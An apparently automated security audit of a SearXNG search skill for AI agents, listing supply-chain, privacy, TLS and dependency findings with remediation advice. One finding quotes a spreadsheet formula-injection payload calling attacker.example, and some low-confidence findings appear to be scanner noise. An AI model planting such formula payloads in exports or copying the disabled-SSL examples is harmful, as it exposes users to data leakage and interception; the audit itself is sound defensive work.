Back to skill

Security audit

Advanced Searxng Search Skill

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent SearXNG search helper, but its install path and examples create review-worthy supply-chain and privacy risks.

Review before installing. Prefer installing from the audited local source rather than the pip package until publisher identity and package ownership are verified. Use a self-hosted or explicitly trusted SearXNG instance, avoid public fallback for sensitive searches, keep SSL verification enabled except for strictly local testing, and avoid opening exported CSV files in spreadsheet software with formula execution enabled.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T08 · Insecure Dependencies

Warning
Location
SKILL.md:7
Finding
Unverified Package Installation Creates a Supply-Chain Substitution Risk<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:7-8` **Vulnerability Type**: Unverified third-party package installation **Risk Level**: Medium ### Vulnerable Code ```markdown homepage: https://github.com/yourusername/searxng-skill metadata: {"clawdbot":{"emoji":"🔍","requires":{"python":">=3.8","packages":["requests","urllib3","python-dotenv"]},"install":[{"id":"pip","kind":"pip","package":"searxng-skill","label":"Install searxng-skill (pip)"},{"id":"local","kind":"local","command":"pip install -e .","label":"Install from source"}]}} ``` The uncertainty surrounding this installation source is corroborated by `README.md:23`: ```bash pip install searxng-skill # Not yet ready ``` ### Technical Analysis The skill metadata instructs an agent or skill manager to install `searxng-skill` from the configured Python package index. However, the project README states that this distribution is “Not yet ready,” and the skill metadata uses a placeholder repository URL rather than a verifiable project identity. Consequently, there is no reliable binding between the source code reviewed in this audit and the artifact that `pip install searxng-skill` will retrieve. The dependency is also not constrained by an exact version or cryptographic hash. This creates a package-substitution or dependency-confusion exposure. If the package name is unclaimed, compromised, transferred, or populated by a third party, automated installation could retrieve code that was not part of the audited project. Python packages may execute attacker-controlled behavior during build, installation, entry-point invocation, or later import. No evidence in the audited repository proves that the currently available package is malicious. The vulnerability is the unsafe and unverifiable installation instruction. ### Attack Path 1. A user or AI agent loads the skill metadata. 2. The installation mechanism selects the declared `pip` installer. 3. The environment runs `pip install searxn ...[truncated 1112 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the package-index installer from `SKILL.md` until the distribution is published and its ownership is verified. 2. Prefer installation from the audited local source tree in the interim. 3. Replace placeholder homepage, author, and repository metadata with verified project identities. 4. When package-index installation is enabled, pin an exact release rather than using an unconstrained package name. 5. Publish and verify package hashes, then install with a hash-enforcing requirements file, for example: ```text searxng-skill==1.0.0 \ --hash=sha256:<verified-wheel-hash> ``` 6. Use trusted package indexes explicitly and prevent unexpected fallback to public indexes in controlled deployments. 7. Build releases through a reproducible, authenticated CI process and sign published artifacts where supported. 8. Ensure the README and skill metadata describe the same authoritative installation source. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
searxng_skill/utils.py:149
Finding
Spreadsheet Formula Injection in CSV Search-Result Exports<![CDATA[ ## Vulnerability Details **File Location**: `searxng_skill/utils.py:149-170` **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```python def export_results_csv( results: List[Dict[str, Any]], filepath: str ) -> None: """ Export results to CSV file Args: results: Search results filepath: Output file path """ import csv if not results: return keys = results[0].keys() with open(filepath, 'w', newline='', encoding='utf-8') as f: writer = csv.DictWriter(f, fieldnames=keys) writer.writeheader() writer.writerows(results) ``` ### Technical Analysis Search-result fields such as titles, URLs, content, and metadata originate from remote search engines and indexed websites. The export function writes these values directly into CSV cells without neutralizing spreadsheet formula prefixes. Values beginning with characters such as `=`, `+`, `-`, or `@` can be interpreted as formulas when the CSV is opened in spreadsheet software. Standard CSV escaping and quoting only preserve the CSV structure; they do not prevent a spreadsheet from evaluating the cell as a formula. For example, a remote result title could contain a value resembling: ```text =HYPERLINK("https://attacker.example/collect","Open result") ``` The exact behavior depends on the spreadsheet application and its security settings. Some applications prompt users or restrict dangerous formulas, while others may evaluate network-capable formulas automatically or after user interaction. ### Attack Path 1. An attacker publishes content likely to be indexed by one of the configured SearXNG search engines. 2. The attacker places a formula-prefixed string in a result field, such as the page title or description. 3. A user searches for terms that cause the malicious content to appear in the SearXNG response. 4. The application passes the untrusted re ...[truncated 1059 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Treat every search-result field as untrusted before exporting it to CSV. 2. Convert exported values to strings and neutralize cells whose first non-whitespace character is `=`, `+`, `-`, or `@`. 3. Prefix dangerous cells with an apostrophe or another spreadsheet-safe text marker accepted by the target spreadsheet environment. 4. Apply the protection to every field, not only titles or URLs. 5. Document that CSV exports contain remote content and should not be opened with formula execution enabled. 6. Consider exporting JSON or a typed spreadsheet format where cell types can be explicitly set to text. 7. Add tests covering all dangerous prefixes, leading whitespace, tabs, carriage returns, and newline-prefixed formulas. A possible hardening approach is: ```python def _safe_csv_value(value: Any) -> str: text = "" if value is None else str(value) if text.lstrip().startswith(("=", "+", "-", "@")): return "'" + text return text def export_results_csv( results: List[Dict[str, Any]], filepath: str ) -> None: import csv if not results: return keys = list(results[0].keys()) safe_results = [ {key: _safe_csv_value(result.get(key)) for key in keys} for result in results ] with open(filepath, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=keys) writer.writeheader() writer.writerows(safe_results) ``` For especially sensitive workflows, reject formula-prefixed values or use an export format that guarantees textual cell typing rather than relying solely on prefix neutralization. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (27)

Credential Access

High
Category
Privilege Escalation
Content
**Environment variables (recommended)**
```bash
# Create .env file
cat > .env << EOF
SEARXNG_URL=http://localhost:8080
SEARXNG_TIMEOUT=10
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
**Environment variables (recommended)**
```bash
# Create .env file
cat > .env << EOF
SEARXNG_URL=http://localhost:8080
SEARXNG_TIMEOUT=10
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Unsafe Defaults

Medium
Category
Tool Misuse
Content
**For scripting**
- Use `format=OutputFormat.JSON` for structured output (default)
- Set `verify_ssl=False` for local development only
- Implement rate limiting with `time.sleep()` between requests
- Use `health_check()` before batch operations
Confidence
90% confidence
Finding
The notes instruct users that `verify_ssl=False` can be set for local development, which normalizes disabling TLS certificate validation. Even with a caveat, users frequently copy examples into broader use, and disabling verification enables man-in-the-middle interception or tampering if used against non-local or misrouted traffic.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The fallback example silently switches from a local instance to a public SearXNG service, which can transmit user queries and possibly sensitive research terms to an external third party. In a search skill, queries themselves may contain confidential, proprietary, or personal information, so undocumented remote exfiltration materially increases privacy risk.

Rp1

Medium
Category
MCP Rug Pull
Confidence
75% confidence
Finding
Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.

Unsafe Defaults

Medium
Category
Tool Misuse
Content
```python
skill = SearXNGSkill(
    instance_url="http://localhost:8080",
    verify_ssl=False  # Only for local dev!
)
```
Confidence
91% confidence
Finding
The troubleshooting snippet provides runnable code with `verify_ssl=False`, which creates a concrete insecure copy-paste pattern. In a networked search client, this can expose queries and responses to interception or manipulation when used beyond a strictly local environment.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The skill sends the user-provided query and related search parameters to a remote SearXNG instance via an HTTP request. While network transmission is central to a search skill, this file does not include any user-facing disclosure, logging, or warning that user queries will be sent to an external service.

Natural-Language Policy Violations

Low
Confidence
82% confidence
Finding
The documentation repeatedly configures `SEARXNG_LANGUAGE=en` and `default_language: "en"`, which implies a fixed default locale. Because no user choice or justification is provided, this can conflict with a language/locale policy requiring opt-in or flexibility.

Natural-Language Policy Violations

Low
Confidence
82% confidence
Finding
The config file example uses `"default_language": "en"`, reinforcing a fixed English locale in natural-language-facing behavior. The documentation does not explain that users may choose another language or that this setting is only illustrative.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
This line explicitly recommends `SEARXNG_LANGUAGE=en` as the default, which can be read as prescribing English behavior. There is no nearby statement that the locale should be selected according to user preference or regional needs.

Unverifiable Dependency: setuptools has 10 known advisory(ies) (CVE-2013-1633 (Setuptools vulnerable to Man-in-the-middle attacks); CVE-2025-47273 (setuptools has a path traversal vulnerability in PackageIndex.download that lead); CVE-2024-6345 (setuptools vulnerable to Command Injection via package URL) +7 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
79% confidence
Finding
wheel is an unpinned build dependency, so the package creation/install path may use a vulnerable release depending on resolver behavior. Although this is not part of the runtime logic, build-chain vulnerabilities can still impact packaging integrity and CI/CD security.

Unverifiable Dependency: wheel has 4 known advisory(ies) (CVE-2026-24049 (Wheel Affected by Arbitrary File Permission Modification via Path Traversal in w); CVE-2022-40898 (pypa/wheel vulnerable to Regular Expression denial of service (ReDoS)); CVE-2022-40898 (An issue discovered in Python Packaging Authority (PyPA) Wheel 0.37.1 and earlie) +1 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
79% confidence
Finding
wheel is an unpinned build dependency, so the package creation/install path may use a vulnerable release depending on resolver behavior. Although this is not part of the runtime logic, build-chain vulnerabilities can still impact packaging integrity and CI/CD security.

Unverifiable Dependency: requests has 16 known advisory(ies) (CVE-2014-1830 (Exposure of Sensitive Information to an Unauthorized Actor in Requests); CVE-2024-47081 (Requests vulnerable to .netrc credentials leak via malicious URLs); CVE-2024-35195 (Requests `Session` object does not verify requests after making first request wi) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
93% confidence
Finding
The project declares requests with only a lower bound (>=2.28.0), so dependency resolution may install a release with known security issues depending on the environment and time of installation. In a network-facing search skill, HTTP client libraries are security-relevant because flaws can affect TLS verification, credential handling, redirects, and request processing.

Unverifiable Dependency: urllib3 has 16 known advisory(ies) (CVE-2025-66471 (urllib3 streaming API improperly handles highly compressed data); CVE-2024-37891 (urllib3's Proxy-Authorization request header isn't stripped during cross-origin ); CVE-2026-21441 (Decompression-bomb safeguards bypassed when following HTTP redirects (streaming ) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
94% confidence
Finding
urllib3 is also specified with only a minimum version, which makes the actual installed version unverifiable and may permit vulnerable releases in some build environments. Because this skill performs search/network operations, weaknesses in the HTTP transport layer can be directly relevant to request smuggling, proxy handling, redirect handling, or decompression-related issues.

Unverifiable Dependency: python-dotenv has 2 known advisory(ies) (CVE-2026-28684 (python-dotenv: Symlink following in set_key allows arbitrary file overwrite via ); CVE-2026-28684 (python-dotenv reads key-value pairs from a .env file and can set them as environ)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
84% confidence
Finding
python-dotenv is not pinned, so builds may resolve to versions with known flaws, and the manifest does not prove that installed instances are safe. While dotenv is usually less exposed than the HTTP stack, vulnerabilities in environment-file handling can still matter if the skill reads or writes .env files in automation or shared workspaces.

Unverifiable Dependency: pytest has 2 known advisory(ies) (CVE-2025-71176 (pytest has vulnerable tmpdir handling); CVE-2025-71176 (pytest has vulnerable tmpdir handling)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding
Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.

Unverifiable Dependency: black has 5 known advisory(ies) (CVE-2026-32274 (Black: Arbitrary file writes from unsanitized user input in cache file name); CVE-2024-21503 (Black vulnerable to Regular Expression Denial of Service (ReDoS)); CVE-2024-21503 (Versions of the package black before 24.3.0 are vulnerable to Regular Expression) +2 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding
Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.

Unpinned Dependencies

Low
Category
Supply Chain
Content
requests>=2.28.0
urllib3>=1.26.0
python-dotenv>=0.19.0
Confidence
92% confidence
Finding
The dependency uses a lower-bound specifier (requests>=2.28.0) instead of a pinned or tightly constrained version, which makes builds non-reproducible and can cause deployment to pull in unexpectedly vulnerable or breaking releases. Because requests has multiple known advisories and the exact installed version is not fixed, security posture cannot be verified reliably.

Unverifiable Dependency: requests has 16 known advisory(ies) (CVE-2014-1830 (Exposure of Sensitive Information to an Unauthorized Actor in Requests); CVE-2024-47081 (Requests vulnerable to .netrc credentials leak via malicious URLs); CVE-2024-35195 (Requests `Session` object does not verify requests after making first request wi) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
87% confidence
Finding
requests has known advisories, but the manifest does not pin the installed version, so it is impossible to determine whether the deployed package includes a vulnerable release. In this context, the danger is supply-chain uncertainty rather than proof of a present exploitable CVE.

Unpinned Dependencies

Low
Category
Supply Chain
Content
requests>=2.28.0
urllib3>=1.26.0
python-dotenv>=0.19.0
Confidence
92% confidence
Finding
The dependency uses urllib3>=1.26.0 rather than an exact or tightly bounded version, allowing different environments to resolve different packages over time. This weakens reproducibility and may silently introduce a vulnerable release or incompatible behavior.

Unverifiable Dependency: urllib3 has 16 known advisory(ies) (CVE-2025-66471 (urllib3 streaming API improperly handles highly compressed data); CVE-2024-37891 (urllib3's Proxy-Authorization request header isn't stripped during cross-origin ); CVE-2026-21441 (Decompression-bomb safeguards bypassed when following HTTP redirects (streaming ) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
87% confidence
Finding
urllib3 is referenced without a fixed version despite known advisories affecting some releases, so the actual security state of installed environments cannot be verified from this manifest. This creates avoidable risk because future installs may resolve to unsafe versions or differ across systems.

Unpinned Dependencies

Low
Category
Supply Chain
Content
requests>=2.28.0
urllib3>=1.26.0
python-dotenv>=0.19.0
Confidence
90% confidence
Finding
python-dotenv is specified with only a minimum version, so installations may resolve to any later release, including versions with unresolved security issues or breaking changes. This is a supply-chain hardening weakness even if it is not directly exploitable on its own in this file.

Unverifiable Dependency: python-dotenv has 2 known advisory(ies) (CVE-2026-28684 (python-dotenv: Symlink following in set_key allows arbitrary file overwrite via ); CVE-2026-28684 (python-dotenv reads key-value pairs from a .env file and can set them as environ)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
85% confidence
Finding
python-dotenv has known advisories in some versions, and the absence of a pinned version means the manifest does not establish whether deployments are safe. This is a verifiability and dependency-hygiene issue that increases supply-chain exposure.

Natural-Language Policy Violations

Low
Confidence
91% confidence
Finding
The session unconditionally sets an Accept-Language header from the configured default language, which can impose a locale preference even when the user has not chosen one. The file does allow an explicit language parameter for searches, but the default behavior still applies a language setting automatically.

Intent-Code Divergence

Low
Confidence
94% confidence
Finding
The function is documented as sanitizing a search query, which implies some meaningful cleaning or safety-oriented normalization. In reality, it only calls `strip()`, so the documentation overstates what the code does and could mislead developers into assuming the query has been made safer or cleaner than it actually has.

Static analysis

No suspicious patterns detected.